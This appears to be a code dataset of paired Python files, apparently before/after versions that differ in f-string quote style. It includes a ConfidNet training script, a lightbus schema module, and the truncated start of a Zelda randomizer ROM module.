from confidnet.utils.logger import get_logger
from confidnet.utils.misc import load_yaml
from confidnet.utils.tensorboard_logger import TensorboardLogger
# from loaders import get_loader
# from learners import get_learner
# from utils.logger import get_logger
# from utils.misc import load_yaml
# from utils.tensorboard_logger import TensorboardLogger
LOGGER = get_logger(__name__, level="DEBUG")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--config_path", "-c", type=str, default=None, help="Path for config yaml")
parser.add_argument(
"--no_cuda", action="store_true", default=False, help="disables CUDA training"
)
parser.add_argument(
"--from_scratch",
"-f",
action="store_true",
default=False,
help="Force training from scratch",
)
args = parser.parse_args()
config_args = load_yaml(args.config_path)
# Device configuration
device = torch.device("cuda" if torch.cuda.is_available() and not args.no_cuda else "cpu")
# Start from scatch or resume existing model and optim
if config_args["training"]["output_folder"].exists():
list_previous_ckpt = sorted(
[f for f in os.listdir(config_args["training"]["output_folder"]) if "model_epoch" in f]
)
if args.from_scratch or not list_previous_ckpt:
LOGGER.info("Starting from scratch")
if click.confirm(
"Removing current training directory ? ({}).".format(
config_args["training"]["output_folder"]
),
abort=True,
):
rmtree(config_args["training"]["output_folder"])
os.mkdir(config_args["training"]["output_folder"])
start_epoch = 1
else:
last_ckpt = list_previous_ckpt[-1]
checkpoint = torch.load(config_args["training"]["output_folder"] / str(last_ckpt))
start_epoch = checkpoint["epoch"] + 1
else:
LOGGER.info("Starting from scratch")
os.mkdir(config_args["training"]["output_folder"])
start_epoch = 1
# Load dataset
LOGGER.info(f"Loading dataset {config_args["data"]["dataset"]}")
dloader = get_loader(config_args)
# Make loaders
dloader.make_loaders()
# Set learner
LOGGER.warning(f"Learning type: {config_args["training"]["learner"]}")
learner = get_learner(
config_args,
dloader.train_loader,
dloader.val_loader,
dloader.test_loader,
start_epoch,
device,
)
# Resume existing model or from pretrained one
if start_epoch > 1:
LOGGER.warning(f"Resuming from last checkpoint: {last_ckpt}")
learner.model.load_state_dict(checkpoint["model_state_dict"])
learner.optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
elif config_args["model"]["resume"]:
LOGGER.info(f"Loading pretrained model from {config_args["model"]["resume"]}")
if config_args["model"]["resume"] == "vgg16":
learner.model.init_vgg16_params()
else:
pretrained_checkpoint = torch.load(config_args["model"]["resume"])
uncertainty_checkpoint = config_args["model"].get("uncertainty", None)
if uncertainty_checkpoint:
LOGGER.warning("Cloning training phase")
learner.load_checkpoint(
pretrained_checkpoint["model_state_dict"],
torch.load(uncertainty_checkpoint)["model_state_dict"],
strict=False,
)
else:
learner.load_checkpoint(pretrained_checkpoint["model_state_dict"], strict=False)
# Log files
LOGGER.info(f"Using model {config_args["model"]["name"]}")
learner.model.print_summary(
input_size=tuple([shape_i for shape_i in learner.train_loader.dataset[0][0].shape])
)
learner.tb_logger = TensorboardLogger(config_args["training"]["output_folder"])
copyfile(
args.config_path, config_args["training"]["output_folder"] / f"config_{start_epoch}.yaml"
)
LOGGER.info(
"Sending batches as {}".format(
tuple(
[config_args["training"]["batch_size"]]
+ [shape_i for shape_i in learner.train_loader.dataset[0][0].shape]
)
)
)
LOGGER.info(f"Saving logs in: {config_args["training"]["output_folder"]}")
# Parallelize model
nb_gpus = torch.cuda.device_count()
if nb_gpus > 1:
LOGGER.info(f"Parallelizing data to {nb_gpus} GPUs")
learner.model = torch.nn.DataParallel(learner.model, device_ids=range(nb_gpus))
# Set scheduler
learner.set_scheduler()
# Start training
for epoch in range(start_epoch, config_args["training"]["nb_epochs"] + 1):
learner.train(epoch)
if __name__ == "__main__":
main()
| import argparse
import os
from shutil import copyfile, rmtree
import click
import torch
# import sys
# sys.path.insert(1, '../confidnet')
from confidnet.loaders import get_loader
from confidnet.learners import get_learner
from confidnet.utils.logger import get_logger
from confidnet.utils.misc import load_yaml
from confidnet.utils.tensorboard_logger import TensorboardLogger
# from loaders import get_loader
# from learners import get_learner
# from utils.logger import get_logger
# from utils.misc import load_yaml
# from utils.tensorboard_logger import TensorboardLogger
LOGGER = get_logger(__name__, level="DEBUG")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--config_path", "-c", type=str, default=None, help="Path for config yaml")
parser.add_argument(
"--no_cuda", action="store_true", default=False, help="disables CUDA training"
)
parser.add_argument(
"--from_scratch",
"-f",
action="store_true",
default=False,
help="Force training from scratch",
)
args = parser.parse_args()
config_args = load_yaml(args.config_path)
# Device configuration
device = torch.device("cuda" if torch.cuda.is_available() and not args.no_cuda else "cpu")
# Start from scatch or resume existing model and optim
if config_args["training"]["output_folder"].exists():
list_previous_ckpt = sorted(
[f for f in os.listdir(config_args["training"]["output_folder"]) if "model_epoch" in f]
)
if args.from_scratch or not list_previous_ckpt:
LOGGER.info("Starting from scratch")
if click.confirm(
"Removing current training directory ? ({}).".format(
config_args["training"]["output_folder"]
),
abort=True,
):
rmtree(config_args["training"]["output_folder"])
os.mkdir(config_args["training"]["output_folder"])
start_epoch = 1
else:
last_ckpt = list_previous_ckpt[-1]
checkpoint = torch.load(config_args["training"]["output_folder"] / str(last_ckpt))
start_epoch = checkpoint["epoch"] + 1
else:
LOGGER.info("Starting from scratch")
os.mkdir(config_args["training"]["output_folder"])
start_epoch = 1
# Load dataset
LOGGER.info(f"Loading dataset {config_args['data']['dataset']}")
dloader = get_loader(config_args)
# Make loaders
dloader.make_loaders()
# Set learner
LOGGER.warning(f"Learning type: {config_args['training']['learner']}")
learner = get_learner(
config_args,
dloader.train_loader,
dloader.val_loader,
dloader.test_loader,
start_epoch,
device,
)
# Resume existing model or from pretrained one
if start_epoch > 1:
LOGGER.warning(f"Resuming from last checkpoint: {last_ckpt}")
learner.model.load_state_dict(checkpoint["model_state_dict"])
learner.optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
elif config_args["model"]["resume"]:
LOGGER.info(f"Loading pretrained model from {config_args['model']['resume']}")
if config_args["model"]["resume"] == "vgg16":
learner.model.init_vgg16_params()
else:
pretrained_checkpoint = torch.load(config_args["model"]["resume"])
uncertainty_checkpoint = config_args["model"].get("uncertainty", None)
if uncertainty_checkpoint:
LOGGER.warning("Cloning training phase")
learner.load_checkpoint(
pretrained_checkpoint["model_state_dict"],
torch.load(uncertainty_checkpoint)["model_state_dict"],
strict=False,
)
else:
learner.load_checkpoint(pretrained_checkpoint["model_state_dict"], strict=False)
# Log files
LOGGER.info(f"Using model {config_args['model']['name']}")
learner.model.print_summary(
input_size=tuple([shape_i for shape_i in learner.train_loader.dataset[0][0].shape])
)
learner.tb_logger = TensorboardLogger(config_args["training"]["output_folder"])
copyfile(
args.config_path, config_args["training"]["output_folder"] / f"config_{start_epoch}.yaml"
)
LOGGER.info(
"Sending batches as {}".format(
tuple(
[config_args["training"]["batch_size"]]
+ [shape_i for shape_i in learner.train_loader.dataset[0][0].shape]
)
)
)
LOGGER.info(f"Saving logs in: {config_args['training']['output_folder']}")
# Parallelize model
nb_gpus = torch.cuda.device_count()
if nb_gpus > 1:
LOGGER.info(f"Parallelizing data to {nb_gpus} GPUs")
learner.model = torch.nn.DataParallel(learner.model, device_ids=range(nb_gpus))
# Set scheduler
learner.set_scheduler()
# Start training
for epoch in range(start_epoch, config_args["training"]["nb_epochs"] + 1):
learner.train(epoch)
if __name__ == "__main__":
main()
|
import inspect
import json
import logging
from json import JSONDecodeError
from pathlib import Path
from typing import Optional, TextIO, Union, ChainMap, List, Tuple, Dict, TYPE_CHECKING
import asyncio
import itertools
import sys
import jsonschema
from lightbus.exceptions import (
InvalidApiForSchemaCreation,
InvalidSchema,
SchemaNotFound,
ValidationError,
RemoteSchemasNotLoaded,
RemoteSchemasNotLoaded,
)
from lightbus.schema.encoder import json_encode
from lightbus.schema.hints_to_schema import (
make_response_schema,
make_rpc_parameter_schema,
make_event_parameter_schema,
)
from lightbus.transports.registry import SchemaTransportPoolType
from lightbus.utilities.io import make_file_safe_api_name
from lightbus.api import Api, Event
if TYPE_CHECKING:
# pylint: disable=unused-import,cyclic-import
from lightbus.transports.base import SchemaTransport
from lightbus.transports.pool import TransportPool
logger = logging.getLogger(__name__)
class Schema:
""" Represents the bus' schema
Note that the presence of a schema does not necessarily
indicate that a lightbus process is present or ready to serve
requests for the API. For that you will need to consume the events
produced by the state plugin.
That being said, you should expect old schemas to be dropped
after max_age_seconds.
"""
def __init__(
self,
schema_transport: "SchemaTransportPoolType",
max_age_seconds: Optional[int] = 60,
human_readable: bool = True,
):
self.schema_transport = schema_transport
self._schema_transport: Optional["SchemaTransport"] = None
self.max_age_seconds = max_age_seconds
self.human_readable = human_readable
# Schemas which have been provided locally. These will either be locally-available
# APIs, or schemas which have been loaded from local files
self.local_schemas = {}
# Schemas which have been retrieved from the bus. This will also contain local
# schemas which have been stored onto the bus. The storing and retrieving of
# remote schemas is mediated by the schema transport.
self._remote_schemas: Optional[Dict[str, dict]] = None
def __contains__(self, item):
return item in self.local_schemas or item in self.remote_schemas
async def add_api(self, api: "Api"):
"""Adds an API locally, and sends to the transport"""
schema = api_to_schema(api)
self.local_schemas[api.meta.name] = schema
await self.schema_transport.store(api.meta.name, schema, ttl_seconds=self.max_age_seconds)
def get_api_schema(self, api_name) -> Optional[dict]:
"""Get the schema for the given API"""
api_schema = self.local_schemas.get(api_name) or self.remote_schemas.get(api_name)
if not api_schema:
# TODO: Add link to docs in error message
raise SchemaNotFound(
"No schema could be found for API {}. You should ensure that either this "
"API is being served by another lightbus process, or you can load this schema manually."
"".format(api_name)
)
return api_schema
def get_event_schema(self, api_name, event_name):
event_schemas = self.get_api_schema(api_name)["events"]
try:
return event_schemas[event_name]
except KeyError:
raise SchemaNotFound(
"Found schema for API '{}', but it did not contain an event named '{}'"
"".format(api_name, event_name)
)
def get_rpc_schema(self, api_name, rpc_name):
rpc_schemas = self.get_api_schema(api_name)["rpcs"]
try:
return rpc_schemas[rpc_name]
except KeyError:
raise SchemaNotFound(
"Found schema for API '{}', but it did not contain a RPC named '{}'"
"".format(api_name, rpc_name)
)
def get_event_or_rpc_schema(self, api_name, name):
try:
return self.get_event_schema(api_name, name)
except SchemaNotFound:
pass
try:
return self.get_rpc_schema(api_name, name)
except SchemaNotFound:
pass
# TODO: Add link to docs in error message
raise SchemaNotFound(
"No schema found for '{}' on API '{}'. You should either, a) ensure this "
"API is being served by another lightbus process, or b) load this schema manually."
"".format(name, api_name)
)
def validate_parameters(self, api_name, event_or_rpc_name, parameters):
"""Validate the parameters for the given event/rpc
This will raise an `jsonschema.ValidationError` exception on error,
or return None if valid.
"""
json_schema = self.get_event_or_rpc_schema(api_name, event_or_rpc_name)["parameters"]
try:
jsonschema.validate(parameters, json_schema)
except jsonschema.ValidationError as e:
logger.error(e)
path = list(e.absolute_path)
if not path:
raise ValidationError(
f"Validation error when using JSON schema to validate parameters for \n"
f"{api_name}.{event_or_rpc_name}.\n"
f"\n"
f"It is likely you have included an unwanted parameter or omitted a required \n"
f"parameter.\n"
f"\n"
f"The error was: {e.message}\n"
f"\n"
f"The full validator error was logged above"
) from None
elif len(path) == 1:
raise ValidationError(
f"Validation error when using JSON schema to validate parameters for \n"
f"{api_name}.{event_or_rpc_name}.\n"
f"\n"
f"It is likely that you have passed in an invalid value for the \n"
f"'{path[0]}' parameter.\n"
f"\n"
f"The error given was: {e.message}\n"
f"\n"
f"The full validator error was logged above"
) from None
else:
raise ValidationError(
f"Validation error when using JSON schema to validate parameters for \n"
f"{api_name}.{event_or_rpc_name}.\n"
f"\n"
f"This was an error in validating the internal structure of one \n"
f"of the parameters' values. The path to this error is \n"
f"'<root>.{".".join(e.absolute_path)}'.\n"
f"\n"
f"The error given was: {e.message}\n"
f"\n"
f"The full validator error was logged above"
) from None
def validate_response(self, api_name, rpc_name, response):
"""Validate the parameters for the given event/rpc
This will raise an `jsonschema.ValidationError` exception on error,
or return None if valid.
Note that only RPCs have responses. Accessing this property for an
event will result in a SchemaNotFound error.
"""
json_schema = self.get_rpc_schema(api_name, rpc_name)["response"]
try:
jsonschema.validate(response, json_schema)
except jsonschema.ValidationError as e:
logger.error(e)
path = list(e.absolute_path)
if not path:
raise ValidationError(
f"Validation error when using JSON schema to validate result from \n"
f"RPC {api_name}.{rpc_name}.\n"
f"\n"
f"It is likely the response was either of the incorrect type, or "
f"some fields were erroneously absent/present.\n"
f"\n"
f"The error was: {e.message}\n"
f"\n"
f"The full validator error was logged above"
) from None
else:
raise ValidationError(
f"Validation error when using JSON schema to validate result from \n"
f"RPC {api_name}.{rpc_name}.\n"
f"\n"
f"This was an error in validating the internal structure of the \n"
f"data returned values. The path to this error is \n"
f"'<root>.{".".join(e.absolute_path)}'.\n"
f"\n"
f"The error given was: {e.message}\n"
f"\n"
f"The full validator error was logged above"
) from None
@property
def api_names(self) -> List[str]:
return list(set(itertools.chain(self.local_schemas.keys(), self.remote_schemas.keys())))
@property
def events(self) -> List[Tuple[str, str]]:
"""Get a list of all events available on the bus
Each event is a tuple in the form `(api_name, event_name)`
"""
events = []
for api_name in self.api_names:
api_schema = self.get_api_schema(api_name)
if api_schema:
for event_name in api_schema["events"].keys():
events.append((api_name, event_name))
return events
@property
def rpcs(self) -> List[Tuple[str, str]]:
"""Get a list of all RPCs available on the bus
Each rpc is a tuple in the form `(api_name, rpc_name)`
"""
rpcs = []
for api_name in self.api_names:
api_schema = self.get_api_schema(api_name)
if api_schema:
for event_name in api_schema["rpcs"].keys():
rpcs.append((api_name, event_name))
return rpcs
async def save_to_bus(self):
"""Save the schema onto the bus
This will be done using the `schema_transport` provided to `__init__()`
"""
for api_name, schema in self.local_schemas.items():
await self.schema_transport.store(api_name, schema, ttl_seconds=self.max_age_seconds)
async def load_from_bus(self):
"""Save the schema from the bus
This will be done using the `schema_transport` provided to `__init__()`
"""
self._remote_schemas = await self.schema_transport.load()
async def ensure_loaded_from_bus(self):
if self._remote_schemas is None:
await self.load_from_bus()
@property
def remote_schemas(self) -> Dict[str, Dict]:
"""Schemas which have been retrieved from the bus.
This will also contain local schemas which have been stored onto the bus. \
The storing and retrieving of remote schemas is mediated by the schema transport.
The returned value is a dictionary where keys are fully qualified API names,
and the values are JSON schemas
"""
if self._remote_schemas is None:
raise RemoteSchemasNotLoaded(
"The remote schemas have not yet been loaded. Lightbus should have ensured this was done "
"already, and therefore this is likely a bug. However, calling "
"bus.client.lazy_load_now() should resolve this."
)
return self._remote_schemas
async def monitor(self, interval=None):
"""Monitor for remote schema changes and keep any local schemas alive on the bus
"""
interval = interval or self.max_age_seconds * 0.8
try:
while True:
await asyncio.sleep(interval)
# Keep alive our local schemas
for api_name, schema in self.local_schemas.items():
await self.schema_transport.ping(
api_name, schema, ttl_seconds=self.max_age_seconds
)
# Read the entire schema back from the bus
await self.load_from_bus()
except asyncio.CancelledError:
return
def save_local(self, destination: Union[str, Path, TextIO] = None):
"""Save all present schemas to a local file
This will save both local & remote schemas to a local file
"""
if isinstance(destination, str):
destination = Path(destination)
if destination is None:
self._dump_to_file(sys.stdout)
sys.stdout.write("\n")
elif destination.is_dir():
self._dump_to_directory(destination)
else:
with destination.open("w", encoding="utf8") as f:
self._dump_to_file(f)
def load_local(self, source: Union[str, Path, TextIO] = None):
"""Load schemas from a local file
These files will be treated as local schemas, and will not be sent to the bus.
This can be useful for validation during development and testing.
"""
if isinstance(source, str):
source = Path(source)
def _load_schema(path, file_data):
try:
return json.loads(file_data)
except JSONDecodeError as e:
raise InvalidSchema("Could not parse schema file {}: {}".format(path, e.msg))
if source is None:
# No source, read from stdin
schema = _load_schema("[stdin]", sys.stdin.read())
elif hasattr(source, "is_dir") and source.is_dir():
# Read each json file in directory
schemas = []
for file_path in source.glob("*.json"):
schemas.append(_load_schema(file_path, file_path.read_text(encoding="utf8")))
schema = ChainMap(*schemas)
elif hasattr(source, "read"):
# Read file handle
schema = _load_schema(source.name, source.read())
elif hasattr(source, "read_text"):
# Read pathlib Path
schema = _load_schema(source.name, source.read_text())
else:
raise InvalidSchema(
"Did not recognise provided source as either a "
"directory path, file path, or file handle: {}".format(source)
)
for api_name, api_schema in schema.items():
self.local_schemas[api_name] = api_schema
return schema
def _dump_to_directory(self, destination: Path):
for api_name in self.api_names:
file_name = "{}.json".format(make_file_safe_api_name(api_name))
(destination / file_name).write_text(self._get_dump(api_name), encoding="utf8")
def _dump_to_file(self, f):
f.write(self._get_dump())
def _get_dump(self, api_name=None):
if api_name:
schema = {api_name: self.get_api_schema(api_name)}
else:
schema = {api_name: self.get_api_schema(api_name) for api_name in self.api_names}
indent = 2 if self.human_readable else None
return json_encode(schema, indent=indent)
async def close(self):
await self.schema_transport.close()
class Parameter(inspect.Parameter):
"""Describes the name and type of an event parameter"""
empty = inspect.Parameter.empty
def __init__(self, name, annotation=empty, *, default=empty):
super(Parameter, self).__init__(
name, inspect.Parameter.KEYWORD_ONLY, default=default, annotation=annotation
)
class WildcardParameter(inspect.Parameter):
"""Describes a **kwargs style parameter to an event
"""
def __init__(self):
super(WildcardParameter, self).__init__(
name="kwargs", kind=inspect.Parameter.VAR_KEYWORD, default={}, annotation=dict
)
def api_to_schema(api: "lightbus.Api") -> dict:
"""Produce a lightbus schema for the given API"""
schema = {"rpcs": {}, "events": {}}
if isinstance(api, type):
raise InvalidApiForSchemaCreation(
"An attempt was made to derive an API schema from a type/class, rather than "
"from an instance of an API. This is probably because you are passing an API "
"class to api_to_schema(), rather than an instance of the API class."
)
for member_name, member in inspect.getmembers(api):
if member_name.startswith("_"):
# Don't create schema from private methods
continue
if hasattr(Api, member_name):
# Don't create schema for methods defined on Api class
continue
if inspect.ismethod(member):
schema["rpcs"][member_name] = {
"parameters": make_rpc_parameter_schema(api.meta.name, member_name, method=member),
"response": make_response_schema(api.meta.name, member_name, method=member),
}
elif isinstance(member, Event):
schema["events"][member_name] = {
"parameters": make_event_parameter_schema(api.meta.name, member_name, event=member)
}
return schema
| import inspect
import json
import logging
from json import JSONDecodeError
from pathlib import Path
from typing import Optional, TextIO, Union, ChainMap, List, Tuple, Dict, TYPE_CHECKING
import asyncio
import itertools
import sys
import jsonschema
from lightbus.exceptions import (
InvalidApiForSchemaCreation,
InvalidSchema,
SchemaNotFound,
ValidationError,
RemoteSchemasNotLoaded,
RemoteSchemasNotLoaded,
)
from lightbus.schema.encoder import json_encode
from lightbus.schema.hints_to_schema import (
make_response_schema,
make_rpc_parameter_schema,
make_event_parameter_schema,
)
from lightbus.transports.registry import SchemaTransportPoolType
from lightbus.utilities.io import make_file_safe_api_name
from lightbus.api import Api, Event
if TYPE_CHECKING:
# pylint: disable=unused-import,cyclic-import
from lightbus.transports.base import SchemaTransport
from lightbus.transports.pool import TransportPool
logger = logging.getLogger(__name__)
class Schema:
""" Represents the bus' schema
Note that the presence of a schema does not necessarily
indicate that a lightbus process is present or ready to serve
requests for the API. For that you will need to consume the events
produced by the state plugin.
That being said, you should expect old schemas to be dropped
after max_age_seconds.
"""
def __init__(
self,
schema_transport: "SchemaTransportPoolType",
max_age_seconds: Optional[int] = 60,
human_readable: bool = True,
):
self.schema_transport = schema_transport
self._schema_transport: Optional["SchemaTransport"] = None
self.max_age_seconds = max_age_seconds
self.human_readable = human_readable
# Schemas which have been provided locally. These will either be locally-available
# APIs, or schemas which have been loaded from local files
self.local_schemas = {}
# Schemas which have been retrieved from the bus. This will also contain local
# schemas which have been stored onto the bus. The storing and retrieving of
# remote schemas is mediated by the schema transport.
self._remote_schemas: Optional[Dict[str, dict]] = None
def __contains__(self, item):
return item in self.local_schemas or item in self.remote_schemas
async def add_api(self, api: "Api"):
"""Adds an API locally, and sends to the transport"""
schema = api_to_schema(api)
self.local_schemas[api.meta.name] = schema
await self.schema_transport.store(api.meta.name, schema, ttl_seconds=self.max_age_seconds)
def get_api_schema(self, api_name) -> Optional[dict]:
"""Get the schema for the given API"""
api_schema = self.local_schemas.get(api_name) or self.remote_schemas.get(api_name)
if not api_schema:
# TODO: Add link to docs in error message
raise SchemaNotFound(
"No schema could be found for API {}. You should ensure that either this "
"API is being served by another lightbus process, or you can load this schema manually."
"".format(api_name)
)
return api_schema
def get_event_schema(self, api_name, event_name):
event_schemas = self.get_api_schema(api_name)["events"]
try:
return event_schemas[event_name]
except KeyError:
raise SchemaNotFound(
"Found schema for API '{}', but it did not contain an event named '{}'"
"".format(api_name, event_name)
)
def get_rpc_schema(self, api_name, rpc_name):
rpc_schemas = self.get_api_schema(api_name)["rpcs"]
try:
return rpc_schemas[rpc_name]
except KeyError:
raise SchemaNotFound(
"Found schema for API '{}', but it did not contain a RPC named '{}'"
"".format(api_name, rpc_name)
)
def get_event_or_rpc_schema(self, api_name, name):
try:
return self.get_event_schema(api_name, name)
except SchemaNotFound:
pass
try:
return self.get_rpc_schema(api_name, name)
except SchemaNotFound:
pass
# TODO: Add link to docs in error message
raise SchemaNotFound(
"No schema found for '{}' on API '{}'. You should either, a) ensure this "
"API is being served by another lightbus process, or b) load this schema manually."
"".format(name, api_name)
)
def validate_parameters(self, api_name, event_or_rpc_name, parameters):
"""Validate the parameters for the given event/rpc
This will raise an `jsonschema.ValidationError` exception on error,
or return None if valid.
"""
json_schema = self.get_event_or_rpc_schema(api_name, event_or_rpc_name)["parameters"]
try:
jsonschema.validate(parameters, json_schema)
except jsonschema.ValidationError as e:
logger.error(e)
path = list(e.absolute_path)
if not path:
raise ValidationError(
f"Validation error when using JSON schema to validate parameters for \n"
f"{api_name}.{event_or_rpc_name}.\n"
f"\n"
f"It is likely you have included an unwanted parameter or omitted a required \n"
f"parameter.\n"
f"\n"
f"The error was: {e.message}\n"
f"\n"
f"The full validator error was logged above"
) from None
elif len(path) == 1:
raise ValidationError(
f"Validation error when using JSON schema to validate parameters for \n"
f"{api_name}.{event_or_rpc_name}.\n"
f"\n"
f"It is likely that you have passed in an invalid value for the \n"
f"'{path[0]}' parameter.\n"
f"\n"
f"The error given was: {e.message}\n"
f"\n"
f"The full validator error was logged above"
) from None
else:
raise ValidationError(
f"Validation error when using JSON schema to validate parameters for \n"
f"{api_name}.{event_or_rpc_name}.\n"
f"\n"
f"This was an error in validating the internal structure of one \n"
f"of the parameters' values. The path to this error is \n"
f"'<root>.{'.'.join(e.absolute_path)}'.\n"
f"\n"
f"The error given was: {e.message}\n"
f"\n"
f"The full validator error was logged above"
) from None
def validate_response(self, api_name, rpc_name, response):
"""Validate the parameters for the given event/rpc
This will raise an `jsonschema.ValidationError` exception on error,
or return None if valid.
Note that only RPCs have responses. Accessing this property for an
event will result in a SchemaNotFound error.
"""
json_schema = self.get_rpc_schema(api_name, rpc_name)["response"]
try:
jsonschema.validate(response, json_schema)
except jsonschema.ValidationError as e:
logger.error(e)
path = list(e.absolute_path)
if not path:
raise ValidationError(
f"Validation error when using JSON schema to validate result from \n"
f"RPC {api_name}.{rpc_name}.\n"
f"\n"
f"It is likely the response was either of the incorrect type, or "
f"some fields were erroneously absent/present.\n"
f"\n"
f"The error was: {e.message}\n"
f"\n"
f"The full validator error was logged above"
) from None
else:
raise ValidationError(
f"Validation error when using JSON schema to validate result from \n"
f"RPC {api_name}.{rpc_name}.\n"
f"\n"
f"This was an error in validating the internal structure of the \n"
f"data returned values. The path to this error is \n"
f"'<root>.{'.'.join(e.absolute_path)}'.\n"
f"\n"
f"The error given was: {e.message}\n"
f"\n"
f"The full validator error was logged above"
) from None
@property
def api_names(self) -> List[str]:
return list(set(itertools.chain(self.local_schemas.keys(), self.remote_schemas.keys())))
@property
def events(self) -> List[Tuple[str, str]]:
"""Get a list of all events available on the bus
Each event is a tuple in the form `(api_name, event_name)`
"""
events = []
for api_name in self.api_names:
api_schema = self.get_api_schema(api_name)
if api_schema:
for event_name in api_schema["events"].keys():
events.append((api_name, event_name))
return events
@property
def rpcs(self) -> List[Tuple[str, str]]:
"""Get a list of all RPCs available on the bus
Each rpc is a tuple in the form `(api_name, rpc_name)`
"""
rpcs = []
for api_name in self.api_names:
api_schema = self.get_api_schema(api_name)
if api_schema:
for event_name in api_schema["rpcs"].keys():
rpcs.append((api_name, event_name))
return rpcs
async def save_to_bus(self):
"""Save the schema onto the bus
This will be done using the `schema_transport` provided to `__init__()`
"""
for api_name, schema in self.local_schemas.items():
await self.schema_transport.store(api_name, schema, ttl_seconds=self.max_age_seconds)
async def load_from_bus(self):
"""Save the schema from the bus
This will be done using the `schema_transport` provided to `__init__()`
"""
self._remote_schemas = await self.schema_transport.load()
async def ensure_loaded_from_bus(self):
if self._remote_schemas is None:
await self.load_from_bus()
@property
def remote_schemas(self) -> Dict[str, Dict]:
"""Schemas which have been retrieved from the bus.
This will also contain local schemas which have been stored onto the bus. \
The storing and retrieving of remote schemas is mediated by the schema transport.
The returned value is a dictionary where keys are fully qualified API names,
and the values are JSON schemas
"""
if self._remote_schemas is None:
raise RemoteSchemasNotLoaded(
"The remote schemas have not yet been loaded. Lightbus should have ensured this was done "
"already, and therefore this is likely a bug. However, calling "
"bus.client.lazy_load_now() should resolve this."
)
return self._remote_schemas
async def monitor(self, interval=None):
"""Monitor for remote schema changes and keep any local schemas alive on the bus
"""
interval = interval or self.max_age_seconds * 0.8
try:
while True:
await asyncio.sleep(interval)
# Keep alive our local schemas
for api_name, schema in self.local_schemas.items():
await self.schema_transport.ping(
api_name, schema, ttl_seconds=self.max_age_seconds
)
# Read the entire schema back from the bus
await self.load_from_bus()
except asyncio.CancelledError:
return
def save_local(self, destination: Union[str, Path, TextIO] = None):
"""Save all present schemas to a local file
This will save both local & remote schemas to a local file
"""
if isinstance(destination, str):
destination = Path(destination)
if destination is None:
self._dump_to_file(sys.stdout)
sys.stdout.write("\n")
elif destination.is_dir():
self._dump_to_directory(destination)
else:
with destination.open("w", encoding="utf8") as f:
self._dump_to_file(f)
def load_local(self, source: Union[str, Path, TextIO] = None):
"""Load schemas from a local file
These files will be treated as local schemas, and will not be sent to the bus.
This can be useful for validation during development and testing.
"""
if isinstance(source, str):
source = Path(source)
def _load_schema(path, file_data):
try:
return json.loads(file_data)
except JSONDecodeError as e:
raise InvalidSchema("Could not parse schema file {}: {}".format(path, e.msg))
if source is None:
# No source, read from stdin
schema = _load_schema("[stdin]", sys.stdin.read())
elif hasattr(source, "is_dir") and source.is_dir():
# Read each json file in directory
schemas = []
for file_path in source.glob("*.json"):
schemas.append(_load_schema(file_path, file_path.read_text(encoding="utf8")))
schema = ChainMap(*schemas)
elif hasattr(source, "read"):
# Read file handle
schema = _load_schema(source.name, source.read())
elif hasattr(source, "read_text"):
# Read pathlib Path
schema = _load_schema(source.name, source.read_text())
else:
raise InvalidSchema(
"Did not recognise provided source as either a "
"directory path, file path, or file handle: {}".format(source)
)
for api_name, api_schema in schema.items():
self.local_schemas[api_name] = api_schema
return schema
def _dump_to_directory(self, destination: Path):
for api_name in self.api_names:
file_name = "{}.json".format(make_file_safe_api_name(api_name))
(destination / file_name).write_text(self._get_dump(api_name), encoding="utf8")
def _dump_to_file(self, f):
f.write(self._get_dump())
def _get_dump(self, api_name=None):
if api_name:
schema = {api_name: self.get_api_schema(api_name)}
else:
schema = {api_name: self.get_api_schema(api_name) for api_name in self.api_names}
indent = 2 if self.human_readable else None
return json_encode(schema, indent=indent)
async def close(self):
await self.schema_transport.close()
class Parameter(inspect.Parameter):
"""Describes the name and type of an event parameter"""
empty = inspect.Parameter.empty
def __init__(self, name, annotation=empty, *, default=empty):
super(Parameter, self).__init__(
name, inspect.Parameter.KEYWORD_ONLY, default=default, annotation=annotation
)
class WildcardParameter(inspect.Parameter):
"""Describes a **kwargs style parameter to an event
"""
def __init__(self):
super(WildcardParameter, self).__init__(
name="kwargs", kind=inspect.Parameter.VAR_KEYWORD, default={}, annotation=dict
)
def api_to_schema(api: "lightbus.Api") -> dict:
"""Produce a lightbus schema for the given API"""
schema = {"rpcs": {}, "events": {}}
if isinstance(api, type):
raise InvalidApiForSchemaCreation(
"An attempt was made to derive an API schema from a type/class, rather than "
"from an instance of an API. This is probably because you are passing an API "
"class to api_to_schema(), rather than an instance of the API class."
)
for member_name, member in inspect.getmembers(api):
if member_name.startswith("_"):
# Don't create schema from private methods
continue
if hasattr(Api, member_name):
# Don't create schema for methods defined on Api class
continue
if inspect.ismethod(member):
schema["rpcs"][member_name] = {
"parameters": make_rpc_parameter_schema(api.meta.name, member_name, method=member),
"response": make_response_schema(api.meta.name, member_name, method=member),
}
elif isinstance(member, Event):
schema["events"][member_name] = {
"parameters": make_event_parameter_schema(api.meta.name, member_name, event=member)
}
return schema
|
import bisect
import io
import json
import hashlib
import logging
import os
import random
import struct
import sys
import subprocess
from BaseClasses import CollectionState, ShopType, Region, Location
from Dungeons import dungeon_music_addresses
from Regions import location_table
from Text import MultiByteTextMapper, CompressedTextMapper, text_addresses, Credits, TextTable
from Text import Uncle_texts, Ganon1_texts, TavernMan_texts, Sahasrahla2_texts, Triforce_texts, Blind_texts, BombShop2_texts, junk_texts
from Text import KingsReturn_texts, Sanctuary_texts, Kakariko_texts, Blacksmiths_texts, DeathMountain_texts, LostWoods_texts, WishingWell_texts, DesertPalace_texts, MountainTower_texts, LinksHouse_texts, Lumberjacks_texts, SickKid_texts, FluteBoy_texts, Zora_texts, MagicShop_texts, Sahasrahla_names
from Utils import output_path, local_path, int16_as_bytes, int32_as_bytes, snes_to_pc
from Items import ItemFactory
from EntranceShuffle import door_addresses
JAP10HASH = '03a63945398191337e896e5771f77173'
# RANDOMIZERBASEHASH = '1907d4caccffe60fc69940cfa11b2dab'
class JsonRom(object):
def __init__(self, name=None, hash=None):
self.name = name
self.hash = hash
self.orig_buffer = None
self.patches = {}
self.addresses = []
def write_byte(self, address, value):
self.write_bytes(address, [value])
def write_bytes(self, startaddress, values):
if not values:
return
values = list(values)
pos = bisect.bisect_right(self.addresses, startaddress)
intervalstart = self.addresses[pos-1] if pos else None
intervalpatch = self.patches[str(intervalstart)] if pos else None
